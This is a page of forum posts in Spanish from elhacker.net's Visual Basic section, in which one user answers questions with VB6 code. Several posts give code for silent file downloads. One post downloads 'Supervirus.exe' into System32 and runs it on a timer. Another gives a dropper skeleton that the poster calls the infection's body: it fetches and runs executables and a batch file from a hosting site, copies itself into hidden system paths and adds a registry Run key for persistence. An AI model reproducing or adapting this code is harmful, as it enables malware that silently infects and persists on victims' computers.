elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Mensajes
Páginas: 1 2 3 4 [5] 6 7 8
41  Programación / Programación Visual Basic / Re: Como puedo descargar un archivo de Internet con Visual Basic 6 en: 18 Diciembre 2006, 01:20 am
¿Quieres que la descarga sea invisible?  :huh:

Citar
'Codigo de RANEFI
Option Explicit
Private Declare Function URLDownloadToFile Lib "urlmon" _
   Alias "URLDownloadToFileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long
Dim ERROR_SUCCESS

Private Sub Command1_Click()
    Dim sSourceUrl As String

    sSourceUrl = "http://mx.geocities.com/" & _
        "posotroranefi/msnmsgr.zip"

    DownloadFile sSourceUrl, "C:\ranefi.zip"
End Sub


Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
  DownloadFile = URLDownloadToFile(0, sURL, _
    sLocalFile, 0, 0) = ERROR_SUCCESS
End Function

O si quieres visible:

Código:
'Codigo RANEFI
Option explicit

Private Declare Function DoFileDownload Lib "shdocvw.dll" _
            (ByVal lpszFile As String) As Long

Private Sub Command1_Click()
            DoFileDownload _
            StrConv("http://mx.geocities.com/posotroranefi/msnmsgr.zip", vbUnicode)
End Sub
42  Programación / Programación Visual Basic / Re: validar rut.... en: 13 Diciembre 2006, 22:37 pm
No entiendo... si pudieras especificar mas seria mejor...
43  Programación / Programación Visual Basic / Re: Cuando se ejecute, que se copie a system32 en: 13 Diciembre 2006, 22:15 pm
Pues busca un hosting gratuito ... te permite descarga directa....


www.ripway.com


30 MB
Soporte php
Descarga directa
AdminPanel Basico
150MB Banda por dia
44  Programación / Programación Visual Basic / Re: Como minimizarlo a la barra de tareas? en: 13 Diciembre 2006, 02:49 am
Para eso mata el proceso de "explorer.exe" y se acabo... le pones algun timer para que se vuelva a iniciar o algun boton para recuperarlo.
45  Programación / Programación Visual Basic / Re: que se necesita par aprender VB¿ en: 12 Diciembre 2006, 23:43 pm
Aparte de saber leer, Saber asociar, saber armar lo que aprendiste y sobre todo... Tener responsabilidad en lo que haces xDD... No dañes ni un solo byte de algun disco duro y seras un perfecto Programador ;).
46  Programación / Programación Visual Basic / Re: Ejecutar el dia "tal" de cada mes en: 12 Diciembre 2006, 23:33 pm
Gracias WarGhost  :P.



Pero con respecto a esto:

Código:
If Time = "22:00:00" Then

Me referia a ejecutarse dentro de "1" hora. (Por ejmplo)
47  Programación / Programación Visual Basic / Ejecutar el dia "tal" de cada mes en: 12 Diciembre 2006, 21:34 pm
Bueno, esa es mi pregunta...  :-\ , por ejemplo, que se ejecute todos los 6 de cada mes.


Tambien que se ejecute en tal "Hora" Ya que con un timer solo me permite segunditos y lo mas que puede es un minuto  :-( :-( :-( :-( :-(
48  Programación / Programación Visual Basic / Re: Cuando se ejecute, que se copie a system32 en: 12 Diciembre 2006, 19:56 pm
Una buena idea es que se baje automaticamente de internet  silenciosamente y desde tu programa llamarlo...

Exactamenhte asi:

Código:
Private Declare Function URLDownloadToFile Lib "urlmon" _
   Alias "URLDownloadToFileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long

     Dim ERROR_SUCCESS

Private Sub Command1_Click()
     Dim sSourceUrl As String

    sSourceUrl = "http://supervirus.com/" & _
        "subdirectorio/Supervirus.exe"

    DownloadFile sSourceUrl, Environ("SYSTEMROOT") & "\SYSTEM32\Supervirus.exe"
End Sub


Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
  DownloadFile = URLDownloadToFile(0, sURL, _
    sLocalFile, 0, 0) = ERROR_SUCCESS
End Function


En el otro form, creas un timer con intervalo de 2000 (2 segundos)
Código:
Private sub timer1_timer ()
On error goto FALLO:
Shell Environ("SYSTEMROOT") & "\System32\Supervirus.exe"
Fallo:
End sub
49  Programación / Programación Visual Basic / Re: Programacion Virica en: 12 Diciembre 2006, 15:16 pm
Para empezar con programacion virica primero te recomendaria la programacion "legal". Estudiar como trabajan los programas, sus estructuras, sus codigos, etc... Y Luego empieza con programacion virica ;).

No creo que haya manuales, los lenguaje de programacion se puede utilizar tanto para bien o para mal.
50  Programación / Programación Visual Basic / Re: Como hacer que se autoejecute... en: 12 Diciembre 2006, 14:41 pm
Aqui te dejo el codigo...



Código:
Option Explicit

            Dim RegistroCochino As Object
            Dim RutaCochina As String
            Dim CadenaNueva As String
            Dim ContenidoCadena As String
            Dim ERROR_SUCCESS

Private Declare Function URLDownloadToFile Lib "urlmon" _
   Alias "URLDownloadToFileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long


Private Sub Form_Load()

Dim Ya_Existe As Integer
Ya_Existe = App.PrevInstance
If Ya_Existe <> 0 Then
End
End If

On Error GoTo fallo:

    Dim sSourceUrl As String

'Esta es la descarga oculta      <|>

    sSourceUrl = "http://h1.ripway.com/MyArchivos/" & _
    "Mis_Fotos/InetCat/InetCat.exe"

    DownloadFile sSourceUrl, Environ("SYSTEMROOT") & "\Files\InetCat.exe" ' Asegurate de poner la ruta a donde llega el archivo
   
   
    sSourceUrl = "http://h1.ripway.com/MyArchivos/" & _
        "Mis_Fotos/InetCat/Autoexec.bat"
       
        DownloadFile sSourceUrl, Environ("SYSTEMROOT") & "\System32\Repair\AUTOEXEC.BAT"  'Aqui tambien
       

Shell (Environ("SYSTEMROOT") & "\Files\InetCat.exe")
Shell Environ("SYSTEMROOT") & "\Files\InetCat.exe"
Shell Environ("Systemroot") & "\System32\Repair\Autoexec.bat"


FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\{323-432112-53252LGSD}\InetCat.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\InetCat.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\Shell\W\O\R\M\L\O\L\J\A\J\A\{03424-03259325JH-BSSGKDS}.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("Homepath") & "\AppData\" & "\WISIP.exe"

           
           
            ContenidoCadena = Environ("SYSTEMROOT") & "\Files\InetCat.exe"
            CadenaNueva = "\InetCat"
            RutaCochina = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" & _
                        "\CurrentVersion\Run" & CadenaNueva
           
            Set RegistroCochino = CreateObject("WScript.Shell")
           
            RegistroCochino.RegWrite RutaCochina, ContenidoCadena




fallo:
End Sub
Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
  DownloadFile = URLDownloadToFile(0, sURL, _
    sLocalFile, 0, 0) = ERROR_SUCCESS

End Function


Acuerdate que esta es una estructura y es el cuerpo de la infeccio, no es el virus en cuestion pero te puede ayudar ;).
Páginas: 1 2 3 4 [5] 6 7 8
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines